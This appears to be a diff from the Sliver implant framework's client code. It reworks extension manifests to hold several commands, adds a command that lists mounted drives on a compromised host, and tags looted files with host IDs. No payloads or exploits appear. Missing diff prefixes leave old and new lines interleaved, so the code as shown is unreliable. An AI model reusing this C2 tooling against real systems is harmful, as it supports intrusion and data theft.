if !fi.IsDir() {
InstallFromFilePath(extLocalPath, false, con)
} else {
installFromDir(extLocalPath, con)
}
InstallFromDir(extLocalPath, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
}
// Install an extension from a directory
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := os.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
func InstallFromDir(extLocalPath string, con *console.SliverConsoleClient, isGz bool) {
var manifestData []byte
var err error
if isGz {
manifestData, err = util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
} else {
manifestData, err = os.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
}
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
}
manifest, err := ParseExtensionManifest(manifestData)
manifestF, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
//create repo path
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestF.Name))
if _, err := os.Stat(minstallPath); !os.IsNotExist(err) {
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
forceRemoveAll(installPath)
forceRemoveAll(minstallPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
con.PrintInfof("Installing extension '%s' (%s) ... \n", manifestF.Name, manifestF.Version)
err = os.MkdirAll(minstallPath, 0o700)
if err != nil {
con.PrintErrorf("Error creating extension directory: %s\n", err)
return
}
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
err = os.WriteFile(filepath.Join(minstallPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
forceRemoveAll(minstallPath)
return
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err)
forceRemoveAll(installPath)
return
for _, manifest := range manifestF.ExtCommand {
installPath := filepath.Join(minstallPath)
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
if isGz {
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
} else {
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
err = os.MkdirAll(filepath.Dir(dst), 0o700) //required for extensions with multiple dirs between the .o file and the manifest
if err != nil {
con.PrintErrorf("\nError creating extension directory: %s\n", err)
forceRemoveAll(installPath)
return
}
err = util.CopyFile(src, dst)
if err != nil {
err = fmt.Errorf("error copying file '%s' -> '%s': %s\n", src, dst, err)
}
}
if err != nil {
con.PrintErrorf("Error installing command: %s\n", err)
forceRemoveAll(installPath)
return
}
}
}
}
}
// InstallFromFilePath - Install an extension from a .tar.gz file
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
return nil
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil
}
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("Failed to create extension directory: %s\n", err)
return nil
}
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return nil
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
if err != nil {
con.PrintErrorf("Failed to install file: %s\n", err)
forceRemoveAll(installPath)
return nil
}
}
}
con.Printf("done!\n")
return &installPath
}
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath))
if err != nil {
+228 -71
View File
@@ -24,12 +24,14 @@ import (
"encoding/json"
"errors"
"fmt"
"log"
"os"
"path"
"path/filepath"
"strconv"
"strings"
"github.com/AlecAivazis/survey/v2"
appConsole "github.com/reeflective/console"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
@@ -53,9 +55,10 @@ const (
ManifestFileName = "extension.json"
)
var loadedExtensions = map[string]*ExtensionManifest{}
var loadedExtensions = map[string]*ExtCommand{}
var loadedManifests = map[string]*ExtensionManifest{}
type ExtensionManifest struct {
type ExtensionManifest_ struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
Version string `json:"version"`
@@ -73,6 +76,32 @@ type ExtensionManifest struct {
RootPath string `json:"-"`
}
type ExtensionManifest struct {
Name string `json:"name"`
Version string `json:"version"`
ExtensionAuthor string `json:"extension_author"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
ExtCommand []*ExtCommand `json:"commands"`
RootPath string `json:"-"`
}
type ExtCommand struct {
CommandName string `json:"command_name"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"depends_on"`
Manifest *ExtensionManifest
}
//type MultiManifest []*ExtensionManifest
type extensionFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
@@ -86,11 +115,11 @@ type extensionArgument struct {
Optional bool `json:"optional"`
}
func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range e.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
break
}
}
@@ -109,18 +138,25 @@ func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, ta
func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
dirPath := args[0]
// dirPath := ctx.Args.String("dir-path")
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
manyfest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
if err != nil {
return
}
// do not add if the command already exists
sliverMenu := con.App.Menu("implant")
if CmdExists(extCmd.CommandName, sliverMenu.Command) {
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
return
for _, extCmd := range manyfest.ExtCommand {
if CmdExists(extCmd.CommandName, sliverMenu.Command) {
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current command?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
ExtensionRegisterCommand(extCmd, cmd.Root(), con)
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
}
ExtensionRegisterCommand(extCmd, cmd.Root(), con)
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
}
// LoadExtensionManifest - Parse extension files
@@ -129,66 +165,165 @@ func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
if err != nil {
return nil, err
}
extManifest, err := ParseExtensionManifest(data)
manifest, err := ParseExtensionManifest(data)
if err != nil {
return nil, err
}
extManifest.RootPath = filepath.Dir(manifestPath)
loadedExtensions[extManifest.CommandName] = extManifest
return extManifest, nil
manifest.RootPath = filepath.Dir(manifestPath)
for _, extManifest := range manifest.ExtCommand {
loadedExtensions[extManifest.CommandName] = extManifest
}
loadedManifests[manifest.Name] = manifest
return manifest, nil
}
// ParseExtensionManifest - Parse extension manifest from buffer
func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest {
ret := &ExtensionManifest{
Name: old.CommandName, //treating old commandname as the manifest name to avoid weird chars mostly
Version: old.Version,
ExtensionAuthor: old.ExtensionAuthor,
OriginalAuthor: old.OriginalAuthor,
RepoURL: old.RepoURL,
RootPath: old.RootPath,
//only one command exists in the old manifest, so we can 'confidently' create it here
ExtCommand: []*ExtCommand{
{
CommandName: old.CommandName,
DependsOn: old.DependsOn,
Help: old.Help,
LongHelp: old.LongHelp,
Entrypoint: old.Entrypoint,
Files: old.Files,
Arguments: old.Arguments,
},
},
}
//Manifest ref is done in the parser that calls this
return ret
}
// parseExtensionManifest - Parse extension manifest from buffer (legacy, only parses one)
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
extManifest := &ExtensionManifest{}
err := json.Unmarshal(data, &extManifest)
if err != nil {
return nil, err
}
if extManifest.Name == "" {
return nil, errors.New("missing `name` field in extension manifest")
}
if extManifest.CommandName == "" {
return nil, errors.New("missing `command_name` field in extension manifest")
}
if len(extManifest.Files) == 0 {
return nil, errors.New("missing `files` field in extension manifest")
}
for _, extFiles := range extManifest.Files {
if extFiles.OS == "" {
return nil, errors.New("missing `files.os` field in extension manifest")
if err != nil || len(extManifest.ExtCommand) == 0 { //extensions must have at least one command to be sensible
//maybe it's an old manifest
log.Println(err)
oldmanifest := &ExtensionManifest_{}
err := json.Unmarshal(data, &oldmanifest)
if err != nil {
//nope, just broken
return nil, err
}
if extFiles.Arch == "" {
return nil, errors.New("missing `files.arch` field in extension manifest")
}
extFiles.Path = util.ResolvePath(extFiles.Path)
if extFiles.Path == "" || extFiles.Path == "/" {
return nil, errors.New("missing `files.path` field in extension manifest")
}
extFiles.OS = strings.ToLower(extFiles.OS)
extFiles.Arch = strings.ToLower(extFiles.Arch)
//yes, ok, lets jigger it to a new manifest
extManifest = convertOldManifest(oldmanifest)
}
if extManifest.Help == "" {
return nil, errors.New("missing `help` field in extension manifest")
//pass ref to manifest to each command
for i := range extManifest.ExtCommand {
extManifest.ExtCommand[i].Manifest = extManifest
}
return extManifest, nil
return extManifest, validManifest(extManifest)
}
func validManifest(manifest *ExtensionManifest) error {
if manifest.Name == "" {
return errors.New("missing `name` field in extension manifest")
}
for _, extManifest := range manifest.ExtCommand {
if extManifest.CommandName == "" {
return errors.New("missing `command_name` field in extension manifest")
}
if len(extManifest.Files) == 0 {
return errors.New("missing `files` field in extension manifest")
}
for _, extFiles := range extManifest.Files {
if extFiles.OS == "" {
return errors.New("missing `files.os` field in extension manifest")
}
if extFiles.Arch == "" {
return errors.New("missing `files.arch` field in extension manifest")
}
extFiles.Path = util.ResolvePath(extFiles.Path)
if extFiles.Path == "" || extFiles.Path == "/" {
return errors.New("missing `files.path` field in extension manifest")
}
extFiles.OS = strings.ToLower(extFiles.OS)
extFiles.Arch = strings.ToLower(extFiles.Arch)
}
if extManifest.Help == "" {
return errors.New("missing `help` field in extension manifest")
}
}
return nil
}
// ExtensionRegisterCommand - Register a new extension command
func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) {
func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *console.SliverConsoleClient) {
if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil {
con.PrintErrorf(errInvalidArgs.Error())
return
}
loadedExtensions[extCmd.CommandName] = extCmd
helpMsg := extCmd.Help
//helpMsg := extCmd.Help
usage := strings.Builder{}
usage.WriteString(extCmd.CommandName)
//build usage including args
for _, arg := range extCmd.Arguments {
usage.WriteString(" ")
if arg.Optional {
usage.WriteString("[")
}
usage.WriteString(strings.ToUpper(arg.Name))
if arg.Optional {
usage.WriteString("]")
}
}
longHelp := strings.Builder{}
//prepend the help value, because otherwise I don't see where it is meant to be shown
//build the command ref
longHelp.WriteString("[[.Bold]]Command:[[.Normal]]")
longHelp.WriteString(usage.String())
longHelp.WriteString("\n")
if len(extCmd.Help) > 0 || len(extCmd.LongHelp) > 0 {
longHelp.WriteString("[[.Bold]]About:[[.Normal]]")
if len(extCmd.Help) > 0 {
longHelp.WriteString(extCmd.Help)
longHelp.WriteString("\n")
}
if len(extCmd.LongHelp) > 0 {
longHelp.WriteString(extCmd.LongHelp)
longHelp.WriteString("\n")
}
}
if len(extCmd.Arguments) > 0 {
longHelp.WriteString("[[.Bold]]Arguments:[[.Normal]]")
}
//if more than 0 args specified, describe each arg at the bottom of the long help text (incase the manifest doesn't include it)
for _, arg := range extCmd.Arguments {
longHelp.WriteString("\n\t")
optStr := ""
if arg.Optional {
optStr = "[OPTIONAL]"
}
aType := arg.Type
if aType == "wstring" {
aType = "string" //avoid confusion, as this is mostly for telling operator what to shove into the args
}
//idk how to make this look nice, tabs don't work especially good - maybe should use the table stuff other things do? Pls help.
longHelp.WriteString(fmt.Sprintf("%s (%s):\t%s%s", strings.ToUpper(arg.Name), aType, optStr, arg.Desc))
}
// Command
extensionCmd := &cobra.Command{
Use: extCmd.CommandName,
Short: helpMsg,
Long: help.FormatHelpTmpl(extCmd.LongHelp),
Use: usage.String(), //extCmd.CommandName,
//Short: helpMsg.String(), doesn't appear to be used?
Long: help.FormatHelpTmpl(longHelp.String()),
Run: func(cmd *cobra.Command, args []string) {
runExtensionCmd(cmd, con, args)
},
@@ -197,7 +332,7 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con
}
// Flags
f := pflag.NewFlagSet(extCmd.Name, pflag.ContinueOnError)
f := pflag.NewFlagSet(extCmd.CommandName, pflag.ContinueOnError)
f.BoolP("save", "s", false, "Save output to disk")
f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
extensionCmd.Flags().AddFlagSet(f)
@@ -210,9 +345,9 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con
cmd.AddCommand(extensionCmd)
}
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) error {
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand, cmd *cobra.Command, con *console.SliverConsoleClient) error {
var extensionList []string
binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch)
binPath, err := ext.getFileForTarget(goos, goarch)
if err != nil {
return err
}
@@ -233,10 +368,12 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
}
depLoaded := false
for _, extName := range extensionList {
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
if !depLoaded {
if extN, ok := loadedExtensions[cmd.Name()]; ok && extName == extN.DependsOn {
depLoaded = true
}
}
if ext.CommandName == extName {
if extN, ok := loadedExtensions[cmd.Name()]; ok && extN.CommandName == extName {
return nil
}
}
@@ -261,12 +398,12 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
return nil
}
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd *cobra.Command, con *console.SliverConsoleClient) error {
func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.Command, con *console.SliverConsoleClient) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.CommandName,
Data: binData,
OS: goos,
Init: ext.Init,
Name: ext.CommandName,
Data: binData,
OS: goos,
//Init: ext.Init, ?
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
@@ -281,7 +418,7 @@ func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd
func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverConsoleClient) error {
depExt, ok := loadedExtensions[depName]
if ok {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
depBinPath, err := depExt.getFileForTarget(goos, goarch)
if err != nil {
return err
}
@@ -327,7 +464,7 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
return
}
binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch)
binPath, err := ext.getFileForTarget(goos, goarch)
if err != nil {
con.PrintErrorf("Failed to read extension file: %s\n", err)
return
@@ -351,8 +488,17 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
} else {
// Regular DLL
extArgs := strings.Join(args, " ")
extensionArgs = []byte(extArgs)
// extArgs := strings.Join(args, " ")
//legacy case - single string arg
if len(ext.Arguments) == 1 && ext.Arguments[0].Type == "string" {
extensionArgs = []byte(strings.Join(args, " "))
} else {
extensionArgs, err = getExtArgs(cmd, args, binPath, ext)
if err != nil {
con.PrintErrorf("ext args error: %s\n", err)
return
}
}
extName = ext.CommandName
entryPoint = ext.Entrypoint
}
@@ -404,12 +550,8 @@ func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.
}
}
func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtensionManifest) ([]byte, error) {
var extensionArgs []byte
binData, err := os.ReadFile(binPath)
if err != nil {
return nil, err
}
func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) {
var err error
argsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
@@ -486,6 +628,17 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *Extensio
if err != nil {
return nil, err
}
return parsedArgs, nil
}
func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) {
var extensionArgs []byte
binData, err := os.ReadFile(binPath)
if err != nil {
return nil, err
}
// Now build the extension's argument buffer
extensionArgsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
@@ -498,6 +651,10 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *Extensio
if err != nil {
return nil, err
}
parsedArgs, err := getExtArgs(cmd, args, binPath, ext)
if err != nil {
return nil, err
}
err = extensionArgsBuffer.AddData(parsedArgs)
if err != nil {
return nil, err
@@ -520,7 +677,7 @@ func CmdExists(name string, cmd *cobra.Command) bool {
}
// makeExtensionArgParser builds the valid positional arguments cobra handler for the extension.
func checkExtensionArgs(extCmd *ExtensionManifest) error {
func checkExtensionArgs(extCmd *ExtCommand) error {
if 0 < len(extCmd.Arguments) {
for _, arg := range extCmd.Arguments {
switch arg.Type {
@@ -536,7 +693,7 @@ func checkExtensionArgs(extCmd *ExtensionManifest) error {
}
// makeExtensionArgCompleter builds the positional arguments completer for the extension.
func makeExtensionArgCompleter(extCmd *ExtensionManifest, _ *cobra.Command, comps *carapace.Carapace) {
func makeExtensionArgCompleter(extCmd *ExtCommand, _ *cobra.Command, comps *carapace.Carapace) {
var actions []carapace.Action
for _, arg := range extCmd.Arguments {
@@ -558,7 +715,7 @@ func makeExtensionArgCompleter(extCmd *ExtensionManifest, _ *cobra.Command, comp
comps.PositionalCompletion(actions...)
}
func makeCommandPlatformFilters(extCmd *ExtensionManifest) map[string]string {
func makeCommandPlatformFilters(extCmd *ExtCommand) map[string]string {
filtersOS := make(map[string]bool)
filtersArch := make(map[string]bool)
+35 -3
View File
@@ -45,12 +45,22 @@ func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a
if !confirm {
return
}
err := RemoveExtensionByCommandName(name, con)
found, err := RemoveExtensionByManifestName(name, con)
if err != nil {
con.PrintErrorf("Error removing extension: %s\n", err)
con.PrintErrorf("Error removing extensions: %s\n", err)
return
}
if !found {
err = RemoveExtensionByCommandName(name, con)
if err != nil {
con.PrintErrorf("Error removing extension: %s\n", err)
return
} else {
con.PrintInfof("Extension '%s' removed\n", name)
}
} else {
con.PrintInfof("Extension '%s' removed\n", name)
//found, and no error, manifest must have removed good
con.PrintInfof("Extensions from %s removed\n", name)
}
}
@@ -71,6 +81,28 @@ func RemoveExtensionByCommandName(commandName string, con *console.SliverConsole
return nil
}
// RemoveExtensionByManifestName - remove by the named manifest, returns true if manifest was removed, false if no manifest with that name was found
func RemoveExtensionByManifestName(manifestName string, con *console.SliverConsoleClient) (bool, error) {
if manifestName == "" {
return false, errors.New("command name is required")
}
if man, ok := loadedManifests[manifestName]; ok {
//foudn the manifest
//delet it
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return true, nil
}
forceRemoveAll(extPath)
delete(loadedManifests, manifestName)
for _, cmd := range man.ExtCommand {
delete(loadedExtensions, cmd.CommandName)
}
return true, nil
}
return false, nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
+149
View File
@@ -0,0 +1,149 @@
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
package filesystem
import (
"context"
"fmt"
"math"
"google.golang.org/protobuf/proto"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// MountCmd - Print information about mounted filesystems
func MountCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
mount, err := con.Rpc.Mount(context.Background(), &sliverpb.MountReq{
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
os := getOS(session, beacon)
if mount.Response != nil && mount.Response.Async {
con.AddBeaconCallback(mount.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, mount)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMount(os, mount, con)
})
con.PrintAsyncResponse(mount.Response)
} else {
PrintMount(os, mount, con)
}
}
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.OS
} else if beacon != nil {
return beacon.OS
}
return ""
}
func reduceSpaceMetric(numberOfBytes float64) string {
units := []string{"B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"}
if numberOfBytes < 1 {
return fmt.Sprintf("0 %s", units[0])
}
base := 1024.0
exp := math.Floor(math.Log(numberOfBytes) / math.Log(base))
index := int(math.Min(exp, float64(len(units)-1)))
divisor := math.Pow(base, float64(index))
value := numberOfBytes / divisor
return fmt.Sprintf("%.2f %s", value, units[index])
}
// PrintMount - Print a table containing information on mounted filesystems
func PrintMount(os string, mount *sliverpb.Mount, con *console.SliverConsoleClient) {
if mount.Response != nil && mount.Response.Err != "" {
con.PrintErrorf("%s\n", mount.Response.Err)
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
switch os {
case "windows":
tw.AppendHeader(table.Row{"Volume", "Volume Type", "Mount Point", "Label", "Filesystem", "Used Space", "Free Space", "Total Space"})
case "darwin":
fallthrough
case "linux":
fallthrough
default:
tw.AppendHeader(table.Row{"Source", "Mount Point", "Mount Root", "Filesystem Type", "Options", "Total Space"})
}
for _, mountPoint := range mount.Info {
row := mountRow(os, mountPoint)
tw.AppendRow(row)
}
settings.PaginateTable(tw, 0, false, false, con)
}
func mountRow(os string, mountInfo *sliverpb.MountInfo) table.Row {
var row table.Row
switch os {
case "windows":
row = table.Row{mountInfo.VolumeName,
mountInfo.VolumeType,
mountInfo.MountPoint,
mountInfo.Label,
mountInfo.FileSystem,
reduceSpaceMetric(float64(mountInfo.UsedSpace)),
reduceSpaceMetric(float64(mountInfo.FreeSpace)),
reduceSpaceMetric(float64(mountInfo.TotalSpace)),
}
case "darwin":
fallthrough
case "linux":
fallthrough
default:
row = table.Row{mountInfo.VolumeName,
mountInfo.MountPoint,
mountInfo.Label,
mountInfo.VolumeType,
mountInfo.MountOptions,
reduceSpaceMetric(float64(mountInfo.TotalSpace)),
}
}
return row
}
+4
View File
@@ -79,6 +79,7 @@ var (
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
@@ -379,6 +380,9 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
[[.Bold]]About:[[.Normal]] (Windows Only) Executes the .NET assembly in a child process.
`
mountHelp = `[[.Bold]]Command:[[.Normal]] mount
[[.Bold]]About:[[.Normal]] Displays information about mounted drives on the system, including mount point, space metrics, and filesystem.`
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
+2 -2
View File
@@ -26,7 +26,7 @@ import (
"github.com/bishopfox/sliver/client/console"
)
// HostsIOCRmCmd - Remove a host from the database
// HostsIOCRmCmd - Remove an IOC from the database
func HostsIOCRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
host, err := SelectHost(con)
if err != nil {
@@ -43,5 +43,5 @@ func HostsIOCRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Removed host from database\n")
con.PrintInfof("Removed IOC from database\n")
}
+4
View File
@@ -62,6 +62,10 @@ func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string
}
func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) {
if len(host.IOCs) == 0 {
return nil, ErrNoIOCs
}
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
// to work properly since we rely on the index of the user's selection to find the session in the map
var keys []string
+2
View File
@@ -42,6 +42,8 @@ import (
var (
// ErrNoHosts - No hosts in database
ErrNoHosts = errors.New("no hosts")
// ErrNoIOCs - No IOCs in database
ErrNoIOCs = errors.New("no IOCs in database for selected host")
// ErrNoSelection - No selection made
ErrNoSelection = errors.New("no selection")
)
+7 -6
View File
@@ -92,13 +92,14 @@ func PerformDownload(remotePath string, fileName string, cmd *cobra.Command, con
return download, nil
}
func CreateLootMessage(fileName string, lootName string, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
func CreateLootMessage(hostUUID string, fileName string, lootName string, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
if lootName == "" {
lootName = fileName
}
lootMessage := &clientpb.Loot{
Name: lootName,
FileType: lootFileType,
Name: lootName,
OriginHostUUID: hostUUID,
FileType: lootFileType,
File: &commonpb.File{
Name: fileName,
Data: data,
@@ -141,7 +142,7 @@ func LootDownload(download *sliverpb.Download, lootName string, fileType clientp
if !download.IsDir {
// filepath.Base does not deal with backslashes correctly in Windows paths, so we have to standardize the path to forward slashes
downloadPath := strings.ReplaceAll(download.Path, "\\", "/")
lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, fileType, download.Data)
lootMessage := CreateLootMessage(con.ActiveTarget.GetHostUUID(), filepath.Base(downloadPath), lootName, fileType, download.Data)
SendLootMessage(lootMessage, con)
} else {
// We have to decompress the gzip file first
@@ -190,7 +191,7 @@ func LootDownload(download *sliverpb.Download, lootName string, fileType clientp
*/
fileData, err := io.ReadAll(tarReader)
if err == nil {
lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, fileType, fileData)
lootMessage := CreateLootMessage(con.ActiveTarget.GetHostUUID(), filepath.Base(entryHeader.Name), lootName, fileType, fileData)
SendLootMessage(lootMessage, con)
}
}
@@ -198,7 +199,7 @@ func LootDownload(download *sliverpb.Download, lootName string, fileType clientp
}
func LootText(text string, lootName string, lootFileName string, fileType clientpb.FileType, con *console.SliverConsoleClient) {
lootMessage := CreateLootMessage(lootFileName, lootName, fileType, []byte(text))
lootMessage := CreateLootMessage(con.ActiveTarget.GetHostUUID(), lootFileName, lootName, fileType, []byte(text))
SendLootMessage(lootMessage, con)
}
+1 -1
View File
@@ -146,6 +146,6 @@ func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName strin
lootName = dumpFileName
}
lootMessage := loot.CreateLootMessage(dumpFileName, lootName, clientpb.FileType_BINARY, dump.GetData())
lootMessage := loot.CreateLootMessage(con.ActiveTarget.GetHostUUID(), dumpFileName, lootName, clientpb.FileType_BINARY, dump.GetData())
loot.SendLootMessage(lootMessage, con)
}
+1 -1
View File
@@ -137,7 +137,7 @@ func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName s
lootName = screenshotFileName
}
lootMessage := loot.CreateLootMessage(screenshotFileName, lootName, clientpb.FileType_BINARY, screenshot.GetData())
